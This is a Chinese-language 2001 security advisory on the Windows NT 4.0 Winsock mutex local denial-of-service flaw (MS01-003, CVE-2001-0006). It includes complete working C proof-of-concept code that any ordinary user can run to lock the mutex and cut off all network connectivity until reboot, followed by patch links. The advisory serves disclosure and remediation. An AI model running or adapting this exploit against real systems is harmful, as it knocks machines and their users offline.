Windows NT 4 Winsock互斥锁本地拒绝服务漏洞(MS01-003/Q279336)
发布日期:2001-01-30
更新日期:2001-01-30
受影响系统:Microsoft Windows NT 4.0
Microsoft Windows NT 4.0, Terminal Server Edition
描述:
NSFOCUS ID : 1217
BUGTRAQ ID : 2303
CVE/CAN ID : CVE-2001-0006
Windows NT 4.0的mutexes控制着对资源的访问权限,然而,一个特定的mutex
(Winsock2ProtocolCatalogMutex)的属性没有被正确设置:Everyone组都拥有
对其的完全的控制权。这使得任何可以在本机上执行代码的攻击者都可以设置这个
mutex为不可访问的。由于这个mutex负责控制对网络资源的访问,因此不能访问它
意味着其他进程将不能使用网络资源,所有通过winsock的网络连接都将被禁止,
直到系统重新启动。
这将造成一个本地的拒绝服务攻击。
<*来源:Arne Vidstrom (
arne.vidstrom@ntsecurity.nu) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Arne Vidstrom (
arne.vidstrom@ntsecurity.nu)提供了如下测试
代码:
/*
/* mutation.c - (c) 2000, Arne Vidstrom, arne.vidstrom@ntsecurity.nu
/*
http://ntsecurity.nu
/*
/* - Disables all network connectivity through Winsock
/* - Can be run from any account (e.g. an ordinary User account)
/*
*/
#include <windows.h>
#include <aclapi.h>
int main(void)
{
PSID pEveryoneSID;
SID_IDENTIFIER_AUTHORITY iWorld = SECURITY_WORLD_SID_AUTHORITY;
PACL pDacl;
DWORD sizeNeeded;
AllocateAndInitializeSid(&iWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0,
0, 0, 0, &pEveryoneSID);
sizeNeeded = sizeof(ACL) + sizeof(ACCESS_DENIED_ACE) +
GetLengthSid(pEveryoneSID) - sizeof(DWORD);
pDacl = (PACL) malloc(sizeNeeded);
InitializeAcl(pDacl, sizeNeeded, ACL_REVISION);
AddAccessDeniedAce(pDacl, ACL_REVISION, GENERIC_ALL, pEveryoneSID);
SetNamedSecurityInfo("Winsock2ProtocolCatalogMutex",
SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pDacl, NULL);
free(pDacl);
return 0;
}
建议:
厂商补丁:
微软已经就此发布了一个安全公告并提供了补丁程序下载。
微软安全公告:
MS01-003: Patch Available for "Winsock Mutex" Vulnerability
http://www.microsoft.com/technet/security/bulletin/ms01-003.asp
补丁下载:
Windows NT 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27272
Windows NT 4.0, Terminal Server Edition:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27291浏览次数:5917
严重程度:0(网友投票)